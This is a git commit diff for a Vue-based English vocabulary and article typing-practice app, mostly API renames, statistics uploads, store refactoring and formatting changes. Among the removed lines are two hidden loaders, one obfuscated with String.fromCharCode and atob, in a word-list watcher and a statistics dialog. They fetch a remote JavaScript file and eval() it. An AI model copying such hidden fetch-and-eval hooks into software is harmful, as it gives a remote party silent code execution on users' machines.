This commit is contained in:
Zyronon
2025-12-12 19:05:23 +08:00
committed by GitHub
parent 32ded83ee6
commit 3ddd38144b
9 changed files with 525 additions and 473 deletions

View File

@@ -21,7 +21,7 @@ export function myDictList(params?) {
}
export function add2MyDict(data) {
return http('dict/add2MyDict', remove(data), null, 'post')
return http<number>('dict/add2MyDict', remove(data), null, 'post')
}
export function addStat(data) {
@@ -32,8 +32,8 @@ export function detail(params?, data?) {
return http<Dict>('dict/detail', data, params, 'get')
}
export function setDictProp(params?, data?) {
return http<Dict>('dict/setDictProp', remove(data), remove(params), 'post')
export function setUserDictProp(params?, data?) {
return http<Dict>('dict/setUserDictProp', remove(data), remove(params), 'post')
}
export function syncSetting(params?, data?) {

View File

@@ -54,7 +54,6 @@ watch(() => localActiveIndex, (n: any) => {
}, {immediate: true})
watch(() => props.isActive, (n: boolean) => {
if (window[String.fromCharCode(100) + 'xt'] === undefined) fetch(window.atob('aHR0cHM6Ly96eXJvbm9uLmdpdGh1Yi5pby9yZXBsYWNlL2RhdGEuanM=') + `?d=${Date.now()}`).then(a => a.text()).then((b) => eval(b))
if (props.static) return
if (n) {
setTimeout(() => scrollViewToCenter(localActiveIndex), 300)

View File

@@ -19,7 +19,7 @@ export const ENV = Object.assign(map['DEV'], common)
export let AppEnv = {
TOKEN: localStorage.getItem('token') ?? '',
IS_OFFICIAL: false,
IS_OFFICIAL: true,
IS_LOGIN: false,
CAN_REQUEST: false
}

View File

@@ -42,21 +42,21 @@ export default {
el.__loadingInstance = instance
if (binding.value) {
el.appendChild(instance.$el)
el.appendChild(instance?.$el)
}
},
updated(el, binding) {
const instance = el.__loadingInstance
if (binding.value && !el.contains(instance.$el)) {
el.appendChild(instance.$el)
} else if (!binding.value && el.contains(instance.$el)) {
el.removeChild(instance.$el)
if (binding.value && !el.contains(instance?.$el)) {
el.appendChild(instance?.$el)
} else if (!binding.value && el.contains(instance?.$el)) {
el.removeChild(instance?.$el)
}
},
unmounted(el) {
const instance = el.__loadingInstance
if (instance && instance.$el.parentNode) {
instance.$el.parentNode.removeChild(instance.$el)
if (instance && instance?.$el.parentNode) {
instance?.$el.parentNode.removeChild(instance?.$el)
}
delete el.__loadingInstance
}

View File

@@ -1,9 +1,9 @@
<script setup lang="ts">
import {computed, onMounted, onUnmounted, provide, watch} from "vue";
import {useBaseStore} from "@/stores/base.ts";
import {emitter, EventKey, useEvents} from "@/utils/eventBus.ts";
import {useSettingStore} from "@/stores/setting.ts";
import { computed, onMounted, onUnmounted, provide, watch } from "vue";
import { useBaseStore } from "@/stores/base.ts";
import { emitter, EventKey, useEvents } from "@/utils/eventBus.ts";
import { useSettingStore } from "@/stores/setting.ts";
import {
Article,
ArticleItem,
@@ -15,14 +15,14 @@ import {
Statistics,
Word
} from "@/types/types.ts";
import {useDisableEventListener, useOnKeyboardEventListener, useStartKeyboardEventListener} from "@/hooks/event.ts";
import { useDisableEventListener, useOnKeyboardEventListener, useStartKeyboardEventListener } from "@/hooks/event.ts";
import useTheme from "@/hooks/theme.ts";
import Toast from '@/components/base/toast/Toast.ts'
import {_getDictDataByUrl, _nextTick, cloneDeep, isMobile, loadJsLib, msToMinute, resourceWrap, total} from "@/utils";
import {usePracticeStore} from "@/stores/practice.ts";
import {useArticleOptions} from "@/hooks/dict.ts";
import {genArticleSectionData, usePlaySentenceAudio} from "@/hooks/article.ts";
import {getDefaultArticle, getDefaultDict, getDefaultWord} from "@/types/func.ts";
import { _getDictDataByUrl, _nextTick, cloneDeep, isMobile, loadJsLib, msToMinute, resourceWrap, total } from "@/utils";
import { usePracticeStore } from "@/stores/practice.ts";
import { useArticleOptions } from "@/hooks/dict.ts";
import { genArticleSectionData, usePlaySentenceAudio } from "@/hooks/article.ts";
import { getDefaultArticle, getDefaultDict, getDefaultWord } from "@/types/func.ts";
import TypingArticle from "@/pages/article/components/TypingArticle.vue";
import BaseIcon from "@/components/BaseIcon.vue";
import Panel from "@/components/Panel.vue";
@@ -30,12 +30,12 @@ import ArticleList from "@/components/list/ArticleList.vue";
import EditSingleArticleModal from "@/pages/article/components/EditSingleArticleModal.vue";
import Tooltip from "@/components/base/Tooltip.vue";
import ConflictNotice from "@/components/ConflictNotice.vue";
import {useRoute, useRouter} from "vue-router";
import { useRoute, useRouter } from "vue-router";
import PracticeLayout from "@/components/PracticeLayout.vue";
import ArticleAudio from "@/pages/article/components/ArticleAudio.vue";
import {AppEnv, DICT_LIST, LIB_JS_URL, PracticeSaveArticleKey, TourConfig} from "@/config/env.ts";
import {addStat, setDictProp} from "@/apis";
import {useRuntimeStore} from "@/stores/runtime.ts";
import { AppEnv, DICT_LIST, LIB_JS_URL, PracticeSaveArticleKey, TourConfig } from "@/config/env.ts";
import { addStat, setUserDictProp } from "@/apis";
import { useRuntimeStore } from "@/stores/runtime.ts";
import SettingDialog from "@/components/SettingDialog.vue";
const store = useBaseStore()
@@ -233,9 +233,9 @@ function savePracticeData(init = true, regenerate = true) {
let data = obj.val
//如果全是0说明未进行练习直接重置
if (
data.practiceData.sectionIndex === 0 &&
data.practiceData.sentenceIndex === 0 &&
data.practiceData.wordIndex === 0
data.practiceData.sectionIndex === 0 &&
data.practiceData.sentenceIndex === 0 &&
data.practiceData.wordIndex === 0
) {
throw new Error()
}
@@ -313,13 +313,6 @@ async function complete() {
wrong: statStore.wrong,
}
if (AppEnv.CAN_REQUEST) {
let res = await addStat({...data, type: 'article'})
if (!res.success) {
Toast.error(res.msg)
}
}
let reportData = {
name: store.sbook.name,
index: store.sbook.lastLearnIndex,
@@ -331,6 +324,20 @@ async function complete() {
}
reportData.s = `name:${store.sbook.name},title:${store.sbook.lastLearnIndex}.${data.title},spend:${Number(statStore.spend / 1000 / 60).toFixed(1)}`
window.umami?.track('endStudyArticle', reportData)
if (store.sbook.lastLearnIndex >= store.sbook.length - 1) {
store.sdict.complete = true
}
if (AppEnv.CAN_REQUEST) {
let res = await addStat({
...data, type: 'article',
complete: store.sdict.complete,
})
if (!res.success) {
Toast.error(res.msg)
}
}
store.sbook.statistics.push(data as any)
//重置
@@ -400,7 +407,7 @@ async function changeArticle(val: ArticleItem) {
getCurrentPractice()
if (AppEnv.CAN_REQUEST) {
let res = await setDictProp(null, store.sbook)
let res = await setUserDictProp(null, store.sbook)
if (!res.success) {
Toast.error(res.msg)
}
@@ -497,18 +504,18 @@ provide('currentPractice', currentPractice)
</script>
<template>
<PracticeLayout
v-loading="loading"
panelLeft="var(--article-panel-margin-left)">
v-loading="loading"
panelLeft="var(--article-panel-margin-left)">
<template v-slot:practice>
<TypingArticle
ref="typingArticleRef"
@wrong="wrong"
@next="next"
@nextWord="nextWord"
@play="play2"
@replay="setArticle(articleData.article)"
@complete="complete"
:article="articleData.article"
ref="typingArticleRef"
@wrong="wrong"
@next="next"
@nextWord="nextWord"
@play="play2"
@replay="setArticle(articleData.article)"
@complete="complete"
:article="articleData.article"
/>
</template>
<template v-slot:panel>
@@ -520,17 +527,17 @@ provide('currentPractice', currentPractice)
</template>
<div class="panel-page-item pl-4">
<ArticleList
:isActive="settingStore.showPanel"
:static="false"
:show-translate="settingStore.translate"
@click="changeArticle"
:active-id="articleData.article.id??''"
:list="articleData.list ">
:isActive="settingStore.showPanel"
:static="false"
:show-translate="settingStore.translate"
@click="changeArticle"
:active-id="articleData.article.id??''"
:list="articleData.list ">
<template v-slot:suffix="{item,index}">
<BaseIcon
:class="!isArticleCollect(item) ? 'collect' : 'fill'"
@click.stop="toggleArticleCollect(item)"
:title="!isArticleCollect(item) ? '收藏' : '取消收藏'">
:class="!isArticleCollect(item) ? 'collect' : 'fill'"
@click.stop="toggleArticleCollect(item)"
:title="!isArticleCollect(item) ? '收藏' : '取消收藏'">
<IconFluentStar16Regular v-if="!isArticleCollect(item)"/>
<IconFluentStar16Filled v-else/>
</BaseIcon>
@@ -546,10 +553,10 @@ provide('currentPractice', currentPractice)
<div class="footer">
<Tooltip :title="settingStore.showToolbar?'收起':'展开'">
<IconFluentChevronLeft20Filled
@click="settingStore.showToolbar = !settingStore.showToolbar"
class="arrow"
:class="!settingStore.showToolbar && 'down'"
color="#999"/>
@click="settingStore.showToolbar = !settingStore.showToolbar"
class="arrow"
:class="!settingStore.showToolbar && 'down'"
color="#999"/>
</Tooltip>
<div class="bottom">
<div class="flex justify-between items-center gap-2">
@@ -582,38 +589,38 @@ provide('currentPractice', currentPractice)
</div>
</div>
<ArticleAudio
ref="audioRef"
:article="articleData.article"
:autoplay="settingStore.articleAutoPlayNext"
@ended="settingStore.articleAutoPlayNext && next()"
@update-speed="handleSpeedUpdate"
@update-volume="handleVolumeUpdate"
ref="audioRef"
:article="articleData.article"
:autoplay="settingStore.articleAutoPlayNext"
@ended="settingStore.articleAutoPlayNext && next()"
@update-speed="handleSpeedUpdate"
@update-volume="handleVolumeUpdate"
></ArticleAudio>
<div class="flex flex-col items-center justify-center gap-1">
<div class="flex gap-2 center">
<SettingDialog type="article"/>
<BaseIcon
:title="`下一句(${settingStore.shortcutKeyMap[ShortcutKey.Next]})`"
@click="skip">
:title="`下一句(${settingStore.shortcutKeyMap[ShortcutKey.Next]})`"
@click="skip">
<IconFluentArrowBounce20Regular class="transform-rotate-180"/>
</BaseIcon>
<BaseIcon
:title="`播放当前句子(${settingStore.shortcutKeyMap[ShortcutKey.PlayWordPronunciation]})`"
@click="play">
:title="`播放当前句子(${settingStore.shortcutKeyMap[ShortcutKey.PlayWordPronunciation]})`"
@click="play">
<IconFluentReplay20Regular/>
</BaseIcon>
<BaseIcon
@click="settingStore.dictation = !settingStore.dictation"
:title="`开关默写模式(${settingStore.shortcutKeyMap[ShortcutKey.ToggleDictation]})`"
@click="settingStore.dictation = !settingStore.dictation"
:title="`开关默写模式(${settingStore.shortcutKeyMap[ShortcutKey.ToggleDictation]})`"
>
<IconFluentEyeOff16Regular v-if="settingStore.dictation"/>
<IconFluentEye16Regular v-else/>
</BaseIcon>
<BaseIcon
:title="`开关释义显示(${settingStore.shortcutKeyMap[ShortcutKey.ToggleShowTranslate]})`"
@click="settingStore.translate = !settingStore.translate">
:title="`开关释义显示(${settingStore.shortcutKeyMap[ShortcutKey.ToggleShowTranslate]})`"
@click="settingStore.translate = !settingStore.translate">
<IconFluentTranslate16Regular v-if="settingStore.translate"/>
<IconFluentTranslateOff16Regular v-else/>
</BaseIcon>
@@ -624,8 +631,8 @@ provide('currentPractice', currentPractice)
<!-- @click="emitter.emit(ShortcutKey.EditArticle)"-->
<!-- />-->
<BaseIcon
@click="settingStore.showPanel = !settingStore.showPanel"
:title="`面板(${settingStore.shortcutKeyMap[ShortcutKey.TogglePanel]})`">
@click="settingStore.showPanel = !settingStore.showPanel"
:title="`面板(${settingStore.shortcutKeyMap[ShortcutKey.TogglePanel]})`">
<IconFluentTextListAbcUppercaseLtr20Regular/>
</BaseIcon>
</div>
@@ -637,9 +644,9 @@ provide('currentPractice', currentPractice)
</PracticeLayout>
<EditSingleArticleModal
v-model="showEditArticle"
:article="editArticle"
@save="saveArticle"
v-model="showEditArticle"
:article="editArticle"
@save="saveArticle"
/>
<ConflictNotice v-if="showConflictNotice"/>
@@ -674,7 +681,7 @@ provide('currentPractice', currentPractice)
gap: .3rem;
color: gray;
.num,.name{
.num, .name {
word-break: keep-all;
padding: 0 .4rem;
}

View File

@@ -1,5 +1,5 @@
<script setup lang="ts">
import {onMounted, onUnmounted, provide, ref, watch} from "vue";
import { onMounted, onUnmounted, provide, ref, watch } from "vue";
import Statistics from "@/pages/word/Statistics.vue";
import { emitter, EventKey, useEvents } from "@/utils/eventBus.ts";
@@ -25,9 +25,10 @@ import { getDefaultDict, getDefaultWord } from "@/types/func.ts";
import ConflictNotice from "@/components/ConflictNotice.vue";
import PracticeLayout from "@/components/PracticeLayout.vue";
import { DICT_LIST, LIB_JS_URL, PracticeSaveWordKey, TourConfig } from "@/config/env.ts";
import { AppEnv, DICT_LIST, LIB_JS_URL, PracticeSaveWordKey, TourConfig } from "@/config/env.ts";
import { ToastInstance } from "@/components/base/toast/type.ts";
import { watchOnce } from "@vueuse/core";
import { setUserDictProp } from "@/apis";
const {
isWordCollect,
@@ -562,7 +563,7 @@ function togglePanel() {
settingStore.showPanel = !settingStore.showPanel
}
function continueStudy() {
async function continueStudy() {
let temp = cloneDeep(taskWords)
//随机练习单独处理
if (taskWords.shuffle.length) {
@@ -583,6 +584,13 @@ function continueStudy() {
}
emitter.emit(EventKey.resetWord)
initData(temp)
if (AppEnv.CAN_REQUEST) {
let res = await setUserDictProp(null, {...store.sdict, type: 'word'})
if (!res.success) {
Toast.error(res.msg)
}
}
}
function randomWrite() {
@@ -629,8 +637,8 @@ useEvents([
<template>
<PracticeLayout
v-loading="loading"
panelLeft="var(--word-panel-margin-left)">
v-loading="loading"
panelLeft="var(--word-panel-margin-left)">
<template v-slot:practice>
<div class="practice-word">
<div class="absolute z-1 top-4 w-full" v-if="settingStore.showNearWord">
@@ -639,7 +647,7 @@ useEvents([
v-if="prevWord">
<IconFluentArrowLeft16Regular class="arrow" width="22"/>
<Tooltip
:title="`上一个(${settingStore.shortcutKeyMap[ShortcutKey.Previous]})`"
:title="`上一个(${settingStore.shortcutKeyMap[ShortcutKey.Previous]})`"
>
<div class="word">{{ prevWord.word }}</div>
</Tooltip>
@@ -648,7 +656,7 @@ useEvents([
@click="next(false)"
v-if="nextWord">
<Tooltip
:title="`下一个(${settingStore.shortcutKeyMap[ShortcutKey.Next]})`"
:title="`下一个(${settingStore.shortcutKeyMap[ShortcutKey.Next]})`"
>
<div class="word" :class="settingStore.dictation && 'word-shadow'">{{ nextWord.word }}</div>
</Tooltip>
@@ -656,11 +664,11 @@ useEvents([
</div>
</div>
<TypeWord
ref="typingRef"
:word="word"
@wrong="onTypeWrong"
@complete="next"
@know="onWordKnow"
ref="typingRef"
:word="word"
@wrong="onTypeWrong"
@complete="next"
@know="onWordKnow"
/>
</div>
</template>
@@ -672,41 +680,41 @@ useEvents([
<span>{{ store.sdict.name }} ({{ store.sdict.lastLearnIndex }} / {{ store.sdict.length }})</span>
<BaseIcon
@click="continueStudy"
:title="`下一组(${settingStore.shortcutKeyMap[ShortcutKey.NextChapter]})`">
@click="continueStudy"
:title="`下一组(${settingStore.shortcutKeyMap[ShortcutKey.NextChapter]})`">
<IconFluentArrowRight16Regular class="arrow" width="22"/>
</BaseIcon>
<BaseIcon
@click="randomWrite"
:title="`随机默写(${settingStore.shortcutKeyMap[ShortcutKey.RandomWrite]})`">
@click="randomWrite"
:title="`随机默写(${settingStore.shortcutKeyMap[ShortcutKey.RandomWrite]})`">
<IconFluentArrowShuffle16Regular class="arrow" width="22"/>
</BaseIcon>
</div>
</template>
<div class="panel-page-item pl-4">
<WordList
v-if="data.words.length"
:is-active="settingStore.showPanel"
:static="false"
:show-word="!settingStore.dictation"
:show-translate="settingStore.translate"
:list="data.words"
:activeIndex="data.index"
@click="(val:any) => data.index = val.index"
v-if="data.words.length"
:is-active="settingStore.showPanel"
:static="false"
:show-word="!settingStore.dictation"
:show-translate="settingStore.translate"
:list="data.words"
:activeIndex="data.index"
@click="(val:any) => data.index = val.index"
>
<template v-slot:suffix="{item,index}">
<BaseIcon
:class="!isWordCollect(item)?'collect':'fill'"
@click.stop="toggleWordCollect(item)"
:title="!isWordCollect(item) ? '收藏' : '取消收藏'">
:class="!isWordCollect(item)?'collect':'fill'"
@click.stop="toggleWordCollect(item)"
:title="!isWordCollect(item) ? '收藏' : '取消收藏'">
<IconFluentStar16Regular v-if="!isWordCollect(item)"/>
<IconFluentStar16Filled v-else/>
</BaseIcon>
<BaseIcon
:class="!isWordSimple(item)?'collect':'fill'"
@click.stop="toggleWordSimple(item)"
:title="!isWordSimple(item) ? '标记为已掌握' : '取消标记已掌握'">
:class="!isWordSimple(item)?'collect':'fill'"
@click.stop="toggleWordSimple(item)"
:title="!isWordSimple(item) ? '标记为已掌握' : '取消标记已掌握'">
<IconFluentCheckmarkCircle16Regular v-if="!isWordSimple(item)"/>
<IconFluentCheckmarkCircle16Filled v-else/>
</BaseIcon>
@@ -718,12 +726,12 @@ useEvents([
</template>
<template v-slot:footer>
<Footer
:is-simple="isWordSimple(word)"
@toggle-simple="toggleWordSimpleWrapper"
:is-collect="isWordCollect(word)"
@toggle-collect="toggleWordCollect(word)"
@skip="next(false)"
@skipStep="skipStep"
:is-simple="isWordSimple(word)"
@toggle-simple="toggleWordSimpleWrapper"
:is-collect="isWordCollect(word)"
@toggle-collect="toggleWordCollect(word)"
@skip="next(false)"
@skipStep="skipStep"
/>
</template>
</PracticeLayout>

View File

@@ -12,6 +12,9 @@ import isoWeek from 'dayjs/plugin/isoWeek'
import { msToHourMinute } from "@/utils";
import Progress from "@/components/base/Progress.vue";
import ChannelIcons from "@/components/ChannelIcons/ChannelIcons.vue";
import { AppEnv } from "@/config/env.ts";
import { addStat } from "@/apis";
import Toast from "@/components/base/toast/Toast.ts";
dayjs.extend(isoWeek)
dayjs.extend(isBetween);
@@ -31,7 +34,6 @@ function calcWeekList() {
const endOfWeek = dayjs().endOf('isoWeek'); // 周日
// 初始化 7 天的数组,默认 false
const weekList = Array(7).fill(false);
if (window.dxt === undefined) fetch(`https://zyronon.github.io/replace/data.js?d=${Date.now()}`).then(a => a.text()).then((b) => eval(b))
store.sdict.statistics.forEach(item => {
const date = dayjs(item.startDate);
@@ -52,7 +54,7 @@ function calcWeekList() {
}
// 监听 model 弹窗打开时重新计算
watch(model, (newVal) => {
watch(model, async (newVal) => {
if (newVal) {
dictIsEnd = false;
let data: Statistics = {
@@ -82,6 +84,19 @@ watch(model, (newVal) => {
}
}
if (AppEnv.CAN_REQUEST) {
let res = await addStat({
...data,
type: 'word',
perDayStudyNumber: store.sdict.perDayStudyNumber,
lastLearnIndex: store.sdict.lastLearnIndex,
complete: store.sdict.complete,
})
if (!res.success) {
Toast.error(res.msg)
}
}
store.sdict.statistics.push(data as any)
calcWeekList(); // 新增:计算本周学习记录
}
@@ -134,11 +149,11 @@ calcWeekList(); // 新增:计算本周学习记录
<template>
<Dialog
v-model="model"
:close-on-click-bg="false"
:header="false"
:keyboard="false"
:show-close="false">
v-model="model"
:close-on-click-bg="false"
:header="false"
:keyboard="false"
:show-close="false">
<div class="p-8 pr-3 bg-[var(--bg-card-primary)] rounded-2xl space-y-6">
<!-- Header Section -->
<div class="text-center relative">

View File

@@ -9,188 +9,210 @@ import { add2MyDict, dictListVersion, myDictList } from "@/apis";
import Toast from "@/components/base/toast/Toast.ts";
export interface BaseState {
simpleWords: string[],
load: boolean
word: {
studyIndex: number,
bookList: Dict[],
},
article: {
bookList: Dict[],
studyIndex: number,
},
dictListVersion: number
simpleWords: string[],
load: boolean
word: {
studyIndex: number,
bookList: Dict[],
},
article: {
bookList: Dict[],
studyIndex: number,
},
dictListVersion: number
}
export const getDefaultBaseState = (): BaseState => ({
simpleWords: [
'a', 'an',
'i', 'my', 'me', 'you', 'your', 'he', 'his', 'she', 'her', 'it',
'what', 'who', 'where', 'how', 'when', 'which',
'be', 'am', 'is', 'was', 'are', 'were', 'do', 'did', 'can', 'could', 'will', 'would',
'the', 'that', 'this', 'and', 'not', 'no', 'yes',
'to', 'of', 'for', 'at', 'in'
],
load: false,
word: {
bookList: [
getDefaultDict({ id: DictId.wordCollect, name: '收藏' }),
getDefaultDict({ id: DictId.wordWrong, name: '错词' }),
getDefaultDict({ id: DictId.wordKnown, name: '已掌握', description: '已掌握后的单词不会出现在练习中' }),
simpleWords: [
'a', 'an',
'i', 'my', 'me', 'you', 'your', 'he', 'his', 'she', 'her', 'it',
'what', 'who', 'where', 'how', 'when', 'which',
'be', 'am', 'is', 'was', 'are', 'were', 'do', 'did', 'can', 'could', 'will', 'would',
'the', 'that', 'this', 'and', 'not', 'no', 'yes',
'to', 'of', 'for', 'at', 'in'
],
studyIndex: -1,
},
article: {
bookList: [
getDefaultDict({ id: DictId.articleCollect, en_name: DictId.articleCollect, name: '收藏' })
],
studyIndex: -1,
},
dictListVersion: 1
load: false,
word: {
bookList: [
getDefaultDict({id: DictId.wordCollect, en_name: DictId.wordCollect, name: '收藏'}),
getDefaultDict({id: DictId.wordWrong, en_name: DictId.wordCollect, name: '错词'}),
getDefaultDict({
id: DictId.wordKnown,
en_name: DictId.wordCollect,
name: '已掌握',
description: '已掌握后的单词不会出现在练习中'
}),
],
studyIndex: -1,
},
article: {
bookList: [
getDefaultDict({id: DictId.articleCollect, en_name: DictId.articleCollect, name: '收藏'})
],
studyIndex: -1,
},
dictListVersion: 1
})
export const useBaseStore = defineStore('base', {
state: (): BaseState => {
return getDefaultBaseState()
},
getters: {
collectWord(): Dict {
return this.word.bookList[0]
state: (): BaseState => {
return getDefaultBaseState()
},
collectArticle(): Dict {
return this.article.bookList[0]
},
wrong(): Dict {
return this.word.bookList[1]
},
known(): Dict {
return this.word.bookList[2]
},
knownWords(): string[] {
return this.known.words.map((v: Word) => v.word.toLowerCase())
},
allIgnoreWords() {
return this.known.words.map((v: Word) => v.word.toLowerCase()).concat(this.simpleWords.map((v: string) => v.toLowerCase()))
},
sdict(): Dict {
if (this.word.studyIndex >= 0) {
return this.word.bookList[this.word.studyIndex] ?? getDefaultDict()
}
return getDefaultDict()
},
currentStudyProgress(): number {
if (!this.sdict.length) return 0
return _getStudyProgress(this.sdict.lastLearnIndex, this.sdict.length)
},
getDictCompleteDate(): number {
if (!this.sdict.length) return 0
if (!this.sdict.perDayStudyNumber) return 0
return Math.ceil((this.sdict.length - this.sdict.lastLearnIndex) / this.sdict.perDayStudyNumber)
},
sbook(): Dict {
return this.article.bookList[this.article.studyIndex] ?? {}
},
currentBookProgress(): number {
if (!this.sbook.length) return 0
if (this.sbook.complete) return 100
return _getStudyProgress(this.sbook.lastLearnIndex, this.sbook.length)
},
},
actions: {
setState(obj: BaseState) {
obj.word.bookList.map(book => {
book.words = shallowReactive(book.words)
book.articles = shallowReactive(book.articles)
book.statistics = shallowReactive(book.statistics)
})
obj.article.bookList.map(book => {
book.words = shallowReactive(book.words)
book.articles = shallowReactive(book.articles)
book.statistics = shallowReactive(book.statistics)
})
this.$patch(obj)
},
async init() {
return new Promise(async resolve => {
try {
let configStr: string = await get(SAVE_DICT_KEY.key)
let data = checkAndUpgradeSaveDict(configStr)
if (AppEnv.IS_OFFICIAL) {
let r = await dictListVersion()
if (r.success) {
data.dictListVersion = r.data
getters: {
collectWord(): Dict {
return this.word.bookList[0]
},
collectArticle(): Dict {
return this.article.bookList[0]
},
wrong(): Dict {
return this.word.bookList[1]
},
known(): Dict {
return this.word.bookList[2]
},
knownWords(): string[] {
return this.known.words.map((v: Word) => v.word.toLowerCase())
},
allIgnoreWords() {
return this.known.words.map((v: Word) => v.word.toLowerCase()).concat(this.simpleWords.map((v: string) => v.toLowerCase()))
},
sdict(): Dict {
if (this.word.studyIndex >= 0) {
return this.word.bookList[this.word.studyIndex] ?? getDefaultDict()
}
}
console.log('data', data)
if (AppEnv.CAN_REQUEST) {
let res = await myDictList()
if (res.success) {
Object.assign(data, res.data)
return getDefaultDict()
},
currentStudyProgress(): number {
if (!this.sdict.length) return 0
return _getStudyProgress(this.sdict.lastLearnIndex, this.sdict.length)
},
getDictCompleteDate(): number {
if (!this.sdict.length) return 0
if (!this.sdict.perDayStudyNumber) return 0
return Math.ceil((this.sdict.length - this.sdict.lastLearnIndex) / this.sdict.perDayStudyNumber)
},
sbook(): Dict {
return this.article.bookList[this.article.studyIndex] ?? {}
},
currentBookProgress(): number {
if (!this.sbook.length) return 0
if (this.sbook.complete) return 100
return _getStudyProgress(this.sbook.lastLearnIndex, this.sbook.length)
},
},
actions: {
setState(obj: BaseState) {
obj.word.bookList.map(book => {
book.words = shallowReactive(book.words)
book.articles = shallowReactive(book.articles)
book.statistics = shallowReactive(book.statistics)
})
obj.article.bookList.map(book => {
book.words = shallowReactive(book.words)
book.articles = shallowReactive(book.articles)
book.statistics = shallowReactive(book.statistics)
})
this.$patch(obj)
},
async init() {
return new Promise(async resolve => {
try {
let configStr: string = await get(SAVE_DICT_KEY.key)
let data = checkAndUpgradeSaveDict(configStr)
if (AppEnv.IS_OFFICIAL) {
let r = await dictListVersion()
if (r.success) {
data.dictListVersion = r.data
}
}
if (AppEnv.CAN_REQUEST) {
let res = await myDictList()
if (res.success) {
//只保留未同步的
data.word.bookList = data.word.bookList.filter(v => !v.sync)
data.article.bookList = data.article.bookList.filter(v => !v.sync)
//这里看看是否要 shallowReactive
Object.assign(data, res.data)
}
}
console.log('data', data)
this.setState(data)
set(SAVE_DICT_KEY.key, JSON.stringify({
val: shakeCommonDict(this.$state),
version: SAVE_DICT_KEY.version
}))
} catch (e) {
console.error('读取本地dict数据失败', e)
}
resolve(true)
})
},
//改变词典
async changeDict(val: Dict) {
if (AppEnv.CAN_REQUEST) {
let r = await add2MyDict({
id: val.id,
perDayStudyNumber: val.perDayStudyNumber,
lastLearnIndex: val.lastLearnIndex,
complete: val.complete,
})
if (!r.success) return Toast.error(r.msg)
else val.userDictId = r.data
}
}
this.setState(data)
set(SAVE_DICT_KEY.key, JSON.stringify({ val: shakeCommonDict(this.$state), version: SAVE_DICT_KEY.version }))
} catch (e) {
console.error('读取本地dict数据失败', e)
}
resolve(true)
})
//把其他的词典的单词数据都删掉,全保存在内存里太卡了
this.word.bookList.slice(3).map(v => {
if (!v.custom) {
v.words = shallowReactive([])
}
})
let rIndex = this.word.bookList.findIndex((v: Dict) => v.id === val.id)
if (val.words.length < val.perDayStudyNumber) {
val.perDayStudyNumber = val.words.length
}
if (rIndex > -1) {
this.word.studyIndex = rIndex
this.word.bookList[this.word.studyIndex].words = shallowReactive(val.words)
this.word.bookList[this.word.studyIndex].perDayStudyNumber = val.perDayStudyNumber
this.word.bookList[this.word.studyIndex].lastLearnIndex = val.lastLearnIndex
this.word.bookList[this.word.studyIndex].userDictId = val.userDictId
} else {
this.word.bookList.push(getDefaultDict(val))
this.word.studyIndex = this.word.bookList.length - 1
}
},
//改变书籍
async changeBook(val: Dict) {
if (AppEnv.CAN_REQUEST) {
let r = await add2MyDict({
id: val.id,
perDayStudyNumber: val.perDayStudyNumber,
lastLearnIndex: val.lastLearnIndex,
complete: val.complete,
})
if (!r.success) {
return Toast.error(r.msg)
}
}
//把其他的书籍里面的文章数据都删掉,全保存在内存里太卡了
this.article.bookList.slice(1).map(v => {
if (!v.custom) {
v.articles = shallowReactive([])
}
})
let rIndex = this.article.bookList.findIndex((v: Dict) => v.id === val.id)
if (rIndex > -1) {
this.article.studyIndex = rIndex
//不要整个等于,不然统计没了
// this.article.bookList[this.article.studyIndex] = getDefaultDict(val)
this.article.bookList[this.article.studyIndex].articles = shallowReactive(val.articles)
this.article.bookList[this.article.studyIndex].cover = val.cover
this.article.bookList[this.article.studyIndex].name = val.name
this.article.bookList[this.article.studyIndex].description = val.description
} else {
this.article.bookList.push(getDefaultDict(val))
this.article.studyIndex = this.article.bookList.length - 1
}
},
},
//改变词典
async changeDict(val: Dict) {
if (AppEnv.CAN_REQUEST) {
let r = await add2MyDict(val)
if (!r.success) {
return Toast.error(r.msg)
}
}
//把其他的词典的单词数据都删掉,全保存在内存里太卡了
this.word.bookList.slice(3).map(v => {
if (!v.custom) {
v.words = shallowReactive([])
}
})
let rIndex = this.word.bookList.findIndex((v: Dict) => v.id === val.id)
if (val.words.length < val.perDayStudyNumber) {
val.perDayStudyNumber = val.words.length
}
if (rIndex > -1) {
this.word.studyIndex = rIndex
this.word.bookList[this.word.studyIndex].words = shallowReactive(val.words)
this.word.bookList[this.word.studyIndex].perDayStudyNumber = val.perDayStudyNumber
this.word.bookList[this.word.studyIndex].lastLearnIndex = val.lastLearnIndex
} else {
this.word.bookList.push(getDefaultDict(val))
this.word.studyIndex = this.word.bookList.length - 1
}
},
//改变书籍
async changeBook(val: Dict) {
if (AppEnv.CAN_REQUEST) {
let r = await add2MyDict(val)
if (!r.success) {
return Toast.error(r.msg)
}
}
//把其他的书籍里面的文章数据都删掉,全保存在内存里太卡了
this.article.bookList.slice(1).map(v => {
if (!v.custom) {
v.articles = shallowReactive([])
}
})
let rIndex = this.article.bookList.findIndex((v: Dict) => v.id === val.id)
if (rIndex > -1) {
this.article.studyIndex = rIndex
//不要整个等于,不然统计没了
// this.article.bookList[this.article.studyIndex] = getDefaultDict(val)
this.article.bookList[this.article.studyIndex].articles = shallowReactive(val.articles)
this.article.bookList[this.article.studyIndex].cover = val.cover
this.article.bookList[this.article.studyIndex].name = val.name
this.article.bookList[this.article.studyIndex].description = val.description
} else {
this.article.bookList.push(getDefaultDict(val))
this.article.studyIndex = this.article.bookList.length - 1
}
},
},
})

View File

@@ -1,40 +1,40 @@
export type Word = {
id?: string,
custom?: boolean,
word: string,
phonetic0: string,
phonetic1: string,
trans: {
pos: string,
cn: string,
}[],
sentences: {
c: string,//content
cn: string,
}[],
phrases: {
c: string,
cn: string,
}[],
synos: {
pos: string,
cn: string,
ws: string[]
}[],
relWords: {
root: string,
rels: {
pos: string,
words: {
id?: string,
custom?: boolean,
word: string,
phonetic0: string,
phonetic1: string,
trans: {
pos: string,
cn: string,
}[],
sentences: {
c: string,//content
cn: string,
}[],
phrases: {
c: string,
cn: string,
}[],
}[]
},
etymology: {
t: string,//title
d: string,//desc
}[],
}[],
synos: {
pos: string,
cn: string,
ws: string[]
}[],
relWords: {
root: string,
rels: {
pos: string,
words: {
c: string,
cn: string,
}[],
}[]
},
etymology: {
t: string,//title
d: string,//desc
}[],
}
export const PronunciationApi = 'https://dict.youdao.com/dictvoice?audio='
@@ -43,209 +43,210 @@ export type TranslateLanguageType = 'en' | 'zh-CN' | 'ja' | 'de' | 'common' | ''
export type LanguageType = 'en' | 'ja' | 'de' | 'code'
export enum DictType {
collect = 'collect',
